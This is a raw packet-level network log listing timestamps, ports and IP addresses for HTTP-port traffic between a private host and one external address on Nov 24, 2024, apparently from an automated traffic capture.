Nov 24, 2024 23:24:10.945951939 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.946011066 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.946196079 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.946208954 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.946247101 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.946265936 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.947124004 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.947177887 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.947283030 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.947338104 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.948133945 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.948187113 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.948313951 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.948364973 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.949177027 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.949230909 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.949322939 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.949376106 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.950164080 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.950232029 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.950310946 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.950365067 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:10.951167107 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:10.951231003 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.028669119 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.028743982 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.028793097 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.028845072 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.029140949 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.029196024 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.029289961 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.029342890 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.030142069 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.030195951 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.030304909 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.030366898 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.031156063 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.031208992 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.031630993 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.031685114 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.032176971 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.032236099 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.032474041 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.032525063 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.033205032 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.033258915 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.033317089 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.033370018 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.034210920 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.034264088 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.034406900 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.034457922 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.035232067 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.035305023 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.035887957 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.035940886 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.036233902 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.036299944 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.036391020 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.036442995 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.037262917 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.037313938 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.037579060 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.037631989 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.038288116 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.038341045 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.038424969 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.038477898 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.039293051 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.039345026 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.039479017 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.039530993 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.040312052 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.040364027 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.040802002 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.040858030 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.041380882 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.041434050 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.041820049 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.041870117 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.042340994 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.042396069 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.042664051 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.042715073 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.043356895 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.043406010 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.043525934 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.043577909 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.044405937 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.044459105 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.044581890 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.044632912 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.045386076 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.045459032 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.046067953 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.046120882 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.046422958 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.046474934 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.046916962 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.046968937 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.047430038 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.047481060 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.048244953 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.048300028 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.048444033 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.048501968 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.048609972 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.048660994 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.049473047 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.049524069 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.049613953 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.049666882 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.050468922 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.050520897 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.050781965 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.050832033 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.051510096 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.051558971 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.051924944 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.051975012 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.052510977 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.052562952 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.052650928 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.052700043 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.053529024 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.053579092 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.053962946 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.054014921 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.054572105 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.054624081 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.055073977 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.055124044 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.072158098 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.072221041 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.072233915 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.072278976 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.072531939 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.072544098 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.072598934 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.073355913 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.073410034 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.073503971 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.073556900 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.074198961 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.074251890 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.074656010 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.074721098 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.075011015 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.075021982 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.075072050 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.075797081 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.075862885 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.076042891 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.076102972 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.076633930 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.076719046 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.076792955 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.076849937 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.077434063 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.077497959 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.077650070 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.077707052 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.078238964 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.078289986 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.078461885 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.078511000 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.079077959 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.079125881 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.079257965 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.079317093 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.079931974 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.079984903 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.080070972 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.080121040 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.080713987 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.080760956 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.080852032 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.080900908 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.081545115 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.081609011 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.081809044 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.081862926 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.082523108 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.082534075 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.082576036 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.083208084 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.083261013 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.083295107 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.083342075 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.084007978 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.084064007 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.084088087 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.084134102 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.084964037 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.085020065 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.085155964 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.085207939 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.143094063 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.143219948 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.143518925 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.143528938 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.143539906 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.143590927 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.144263983 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.144315004 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.145061970 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.145119905 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.145162106 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.145173073 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.145215034 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.145905972 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.145967007 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.146431923 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.146488905 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.146780968 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.146835089 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.146987915 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.147037029 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.147530079 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.147586107 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.147739887 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.147794008 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.148374081 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.148428917 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.148596048 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.148647070 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.149147034 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.149202108 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.149357080 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.149403095 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.149985075 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.150039911 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.150192022 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.150244951 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.229902029 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.229955912 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.230062962 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.230245113 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.230277061 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.230290890 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.230407000 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.230457067 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.231070995 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.231125116 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.231275082 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.231328964 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.231878996 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.231935024 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.232012033 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.232064962 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.232700109 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.232788086 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.232867956 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.232932091 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.233524084 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.233572960 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.233665943 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.233719110 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.234352112 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.234401941 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.234469891 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.234520912 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.235156059 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.235210896 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.235275030 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.235331059 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.236004114 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.236058950 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.236097097 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.236145973 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.236823082 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.236887932 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.237062931 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.237116098 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.237648010 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.237696886 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.237874985 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.237929106 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.238485098 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.238497019 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.238537073 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.238559008 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.239258051 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.239310980 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.239444017 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.239496946 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.240070105 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.240122080 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.240273952 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.240326881 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.240902901 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.240955114 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.241085052 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.241136074 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.241759062 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.241772890 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.241821051 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.242531061 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.242583990 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.242820978 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.242899895 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.243360996 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.243413925 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.243510008 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.243561983 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.244263887 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.244276047 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.244338036 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.245004892 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.245059967 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.245352030 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.245402098 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.245820999 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.245874882 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.246156931 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.246206999 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.246668100 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.246720076 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.247364044 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.247414112 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.247486115 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.247497082 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.247534037 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.248261929 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.248327017 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.248915911 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.248971939 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.249113083 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.249165058 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.249780893 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.249836922 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.249917984 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.249969006 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.250571012 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.250621080 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.250714064 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.250758886 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.251441956 CET	80	49704	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:11.251490116 CET	49704	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:11.273263931 CET	80	49704	185.215.113.206	192.168.2.5
